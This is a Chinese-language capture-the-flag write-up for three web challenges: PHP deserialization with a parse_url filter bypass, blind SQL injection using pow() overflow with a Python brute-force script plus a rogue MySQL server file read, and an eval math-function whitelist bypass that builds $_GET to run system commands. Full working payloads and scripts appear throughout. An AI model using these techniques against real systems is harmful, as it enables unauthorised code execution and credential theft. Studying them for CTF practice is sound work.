0x01 JustSoso
本題的主要知識(shí)點(diǎn)在于反序列化的應(yīng)用和parse_url()函數(shù)的解析問(wèn)題,首先通過(guò)網(wǎng)頁(yè)源碼中的文件讀取提示讀取得到index.php文件源碼和hint文件源碼,任意文件讀取就不做介紹了。
index.php
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
print_r($payload);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
hint.php
<?php
class Handle
{
private $handle;
public function __wakeup()
{
foreach (get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle)
{
$this->handle = $handle;
}
public function __destruct()
{
$this->handle->getFlag();
}
}
class Flag
{
public $file;
public $token;
public $token_flag;
public function __construct($file)
{
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1, 10000));
}
public function getFlag()
{
$this->token_flag = md5(rand(1, 10000));
if ($this->token === $this->token_flag) {
if (isset($this->file)) {
echo @highlight_file($this->file, true);
}
}
}
}
?>
在index.php中的反序列化函數(shù)unserialize()加上hint.php文件,很顯然是通過(guò)反序列化的方式來(lái)讀取flag.php文件,先不看unserialize()前的過(guò)濾規(guī)則,對(duì)hint.php進(jìn)行序列化構(gòu)造。而在hint.php文件中,主要觸發(fā)echo @highlight_file($this->file, true),而觸發(fā)要解決的主要是 $this->token == $this->token_flag的問(wèn)題,實(shí)例化Handle后,$handle是可控的,并且類Handle中的魔術(shù)方法__destruct會(huì)觸發(fā)Flag類中的getFlag()函數(shù)所以我們只需要利用$handle來(lái)給Flag類中的變量賦值即可。而對(duì)于token和token_flag值的比較,可以采用引用的方法進(jìn)行繞過(guò),即$this->token = &$this->token_flag;所以最終構(gòu)造為:
<?php
class Handle
{
private $handle;
public function __wakeup()
{
foreach (get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle)
{
$this->handle = $handle;
}
public function __destruct()
{
$this->handle->getFlag();
}
}
class Flag
{
public $file;
public $token;
public $token_flag;
public function __construct($file)
{
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1, 10000));
}
public function getFlag()
{
$this->token_flag = md5(rand(1, 10000));
if ($this->token === $this->token_flag) {
if (isset($this->file)) {
echo @highlight_file($this->file, true);
}
}
}
}
$Flag = new Flag();
$Flag->file = "flag.php";
$Flag->token = &$Flag->token_flag;
$test = new Handle($Flag);
echo urlencode(serialize($test));
?>
生成序列化數(shù)據(jù),由于序列化后有不可見(jiàn)字符,所以利用urlencode函數(shù)進(jìn)行編碼輸出為
O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%2262e7f2e090fe150ef8deb4466fdc81b3%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D
本地測(cè)試成功后,接下來(lái)就是繞過(guò)index.php文件中的過(guò)濾代碼:

取出域名后完整地址路勁傳遞給變量%url,其實(shí)也就是只要參數(shù)中,即序列化數(shù)據(jù)中存在flag字符就die了,這里利用parse_url函數(shù)的解析特性,即利用’///’進(jìn)行繞過(guò)$url過(guò)濾,parse_url函數(shù)解析'///'時(shí)會(huì)返回false,從而可以直接繞過(guò)過(guò)濾規(guī)則,最后在繞一下__wakeup函數(shù)就好了,最終payload為:http://84e854e3a8db40e29b9958ff3e816a31f8a75c76067c4667.changame.ichunqiu.com///?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%2264d52e08cc03e6090bc1ef30b73ccb85%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

FLAG值:
flag{7e4d5d48-44a9-4a91-b6aa-bd6b659d1bde}
0x02 全宇宙最簡(jiǎn)單的SQL
既然是SQL注入,那么首先肯定是先查看注入點(diǎn),fuzz發(fā)現(xiàn)過(guò)濾or、if等,并且能夠判斷當(dāng)我們輸入的payload能夠拼接出的SQL語(yǔ)句執(zhí)行成功時(shí),網(wǎng)頁(yè)返回的是“登陸失敗”,而當(dāng)拼接出的SQL語(yǔ)句執(zhí)行錯(cuò)誤時(shí),網(wǎng)頁(yè)返回“數(shù)據(jù)庫(kù)操作失敗”
所以,使用pow函數(shù)以及&&構(gòu)造sql語(yǔ)句進(jìn)行判斷
a' && 1=1 && pow(9.99999999)
a' && 1=2 && pow(9.99999999)
當(dāng)前面的判斷條件為假時(shí),數(shù)據(jù)庫(kù)就不會(huì)執(zhí)行后面的pow函數(shù),否則就會(huì)執(zhí)行,當(dāng)pow參數(shù)為pow(9,99999999)時(shí),就會(huì)因?yàn)閿?shù)字過(guò)大而報(bào)錯(cuò),于是利用這一點(diǎn)構(gòu)造注入語(yǔ)句對(duì)數(shù)據(jù)庫(kù)名進(jìn)行暴破

得到的數(shù)據(jù)庫(kù)名為ctf,然后由于or被過(guò)濾,無(wú)法查看information_schema,但是可以猜出表名為user,測(cè)試后確定用戶名為admin,所以既然不能夠直接爆出flag那就暴破出密碼登入進(jìn)行查看,構(gòu)造腳本進(jìn)行爆破
#coding=UTF-8
import requests
result = ''
url = 'http://728b6208b313404eba7b7712cc1c3aa203c6e16dcc7a4425.changame.ichunqiu.com/'
#payload = 'no=1 or if((ascii(substr(({sql}),{list},1))={num}),1,0)'
#payload = '''a' and ascii(mid({sql},{list},1))={num} and pow(9,9999999999)#'''
payload = "a' && (select * from ctf.user limit 1) > ('admin','{password}') && pow(9,9999999999)#"
#cookies = {'PHPSESSID':'15lkeifat78j9p81p7k0igq7n2'}
password = ''
for i in xrange(1,50):
for j in xrange(32,126):
#hh = payload.format(sql='database()',list=str(i),num=str(j)) #ctf
hh = payload.format(password = str(password + chr(j))) #ctf
#hh = payload.format(sql='select count(*) from information_schema.tables',list=str(i),num=str(j))
#hh = payload.format(sql="select table_name from information_schema.tables where table_schema='ctf'",list=str(i),num=str(j))
#hh = payload.format(sql='select * from ctf.f14g',list=str(i),num=str(j))
print hh
data = {'username':hh,'password':'123'}
#print hh
try:
zz = requests.post(url,data=data)
#print zz.content
if '數(shù)據(jù)庫(kù)操作失敗' in zz.content:
pass
else:
password += chr(j-1)
print password
break
except:
continue

但是這中寫法是判斷不出大小寫的,嘗試修改判斷大小寫后,爆出密碼為:F1AG@1s-at_/fll1llag_h3r3,使用用戶名密碼登陸進(jìn)去竟然還有一層

看到這個(gè)“你可以在這里對(duì)遠(yuǎn)程數(shù)據(jù)庫(kù)進(jìn)行操作”,于是想到最近的一個(gè)mysql的安全問(wèn)題:Rogue-MySql-Server,并且最近的DDCTF也出了這個(gè)問(wèn)題的題目。并且github上mysqlserver偽造的項(xiàng)目:https://github.com/Gifts/Rogue-MySql-Server,在vps上跑腳本即可,并且上面得到的密碼也有暗示,flag在文件fll1llag_h3r3中,查看下mysql.log。

FLAG值:
flag{3f4abe8b-aa4a-bb48-c2f9f04d045beade}
0x02 love math
這題真的做了一天,到最后這題只有50多分了,真的是在下老了。
最開始發(fā)現(xiàn)可以計(jì)算還以為以為是SSTI......,查看網(wǎng)頁(yè)源碼可以拿到calc.php文件的源碼:
<?php
error_reporting(0);
//聽(tīng)說(shuō)你很喜歡數(shù)學(xué),不知道你是否愛(ài)它勝過(guò)愛(ài)flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太長(zhǎng)了不會(huì)算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("請(qǐng)不要輸入奇奇怪怪的字符");
}
}
//常用數(shù)學(xué)函數(shù)http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("請(qǐng)不要輸入奇奇怪怪的函數(shù)");
}
}
//幫你算出答案
eval('echo '.$content.';');
}
反正該ban的都ban了,也就是沒(méi)法直接繞過(guò)正則,這題的意思就很明顯了,就是需要應(yīng)用給的math函數(shù)來(lái)進(jìn)行構(gòu)造,函數(shù)內(nèi)的參數(shù)不可出現(xiàn)一些特殊字符和英文字符,查看官方文檔可以發(fā)現(xiàn)base_convert可以進(jìn)行2到36進(jìn)制間的轉(zhuǎn)換,所以最開始的思路是利用base_convert將payload進(jìn)行進(jìn)制轉(zhuǎn)化,即轉(zhuǎn)換為自由數(shù)字的字符串就行,即可構(gòu)造出任意函數(shù),構(gòu)造system(ls)進(jìn)行測(cè)試。
利用payload:base_convert(1751504350,10,36)(base_convert(784,10,36)),列出/html/根目錄,看到目錄列出來(lái)的時(shí)候大喜,感覺(jué)一血就在眼前,然后gg了。
由于特殊字符無(wú)法進(jìn)行36進(jìn)制和10進(jìn)制間的轉(zhuǎn)換,所以想要直接按前面的payload構(gòu)造system(cat f*)是不可能的,后來(lái)是將exec(cat f*)中的‘cat f*’轉(zhuǎn)換為16進(jìn)制,再轉(zhuǎn)換為10進(jìn)制,利用dechex函數(shù)和hex2bin函數(shù)進(jìn)行還原,hex2bin利用base_convert轉(zhuǎn)換為10進(jìn)制,就這個(gè)地方卡死了,因?yàn)?0位長(zhǎng)度的限制,我最短也就構(gòu)造了81位,真的是難受。
剛好之前有接觸過(guò)rand^(x).(x)的操作,通過(guò)異或可以構(gòu)造出大寫英文字符,所以想著能不能拼接一個(gè)$_GET或者$_POST出來(lái),就不要考慮代碼里的限制了,最終利用rand^(7).(5)構(gòu)造出了’ET’,用is_nan^(6).(4)構(gòu)造出了’_G’,在拼接起來(lái)就構(gòu)造出了_GET,思路就是將$content構(gòu)造為$_GET[a]( $_GET[b]),a參數(shù)構(gòu)造為system函數(shù),b參數(shù)當(dāng)作system函數(shù)的參數(shù),即可繞過(guò)限制,執(zhí)行任意命令。關(guān)鍵是將_GET構(gòu)造成$_GET函數(shù),在本地配置測(cè)試環(huán)境

構(gòu)造payload:http://192.168.44.129/web2.php?c=2333;$_GET%5ba%5d($_GET%5bb%5d)&a=system&b=ls

所以接下主要要解決的就是構(gòu)造$_GET,正則上不會(huì)過(guò)濾MATH函數(shù)名、大括號(hào)等,所以可以利用這點(diǎn)用來(lái)構(gòu)造變量覆蓋來(lái)從而構(gòu)造payload,其中中括號(hào)[]可以用大括號(hào)替代,最終構(gòu)造:$cos=(is_nan^(6).(4)).(rand^(7).(5));$$cos{atan}($$cos{atanh}),即$cos=’_GET’,$$cos覆蓋后為$_GET,所以通過(guò)變量覆蓋后最終為$_GET{atan}($_GET{atanh}),所以直接給參數(shù)atan和atanh賦值,可以實(shí)現(xiàn)任意代碼執(zhí)行,最終構(gòu)造:2333333;$cos=(is_nan^(6).(4)).(rand^(7).(5));$$cos{atan}($$cos{atanh})&atan=system&atanh=cat flag.php,其中2333333;用于閉合echo,不過(guò)不閉合也可以的,便可得到flag。
后來(lái)繼續(xù)測(cè)試了一下,發(fā)現(xiàn)利用exec(nl *)進(jìn)行縮短竟然可以縮到79位(吐血)?。。?.....這里直接貼縮的payload:base_convert(47138,20,36)(base_convert(1438255411,14,34)(dechex(474260465194))),其中hex2bin進(jìn)行14/34進(jìn)制的轉(zhuǎn)換,exec進(jìn)行20/36進(jìn)制的轉(zhuǎn)換就可以達(dá)到79位。
這道題的解法比較多,比如在構(gòu)造$cos=(is_nan^(6).(4)).(rand^(7).(5));$$cos{atan}($$cos{atanh})時(shí),$$cos{atan}可以直接利用base_convert函數(shù)將system或者eval進(jìn)行10/36進(jìn)制轉(zhuǎn)換進(jìn)行利用。
如果沒(méi)有過(guò)濾反引號(hào),其實(shí)會(huì)簡(jiǎn)單很多,可以參考P神的:無(wú)字母數(shù)字Webshell之提高篇 閉合前一段<?php,利用<?=開辟代碼,通過(guò)'`. /???/???/????/????.????`'來(lái)打印文件內(nèi)容,詳細(xì)的可以本地測(cè)試調(diào)試不做過(guò)多說(shuō)明。
FLAG值:
flag{86fed0d1-42ec-46ba-83ee-7dedd09303fb}
0x03 RefSpace
路走錯(cuò)了,跑去逆向文件了。這個(gè)還是等大佬的wp了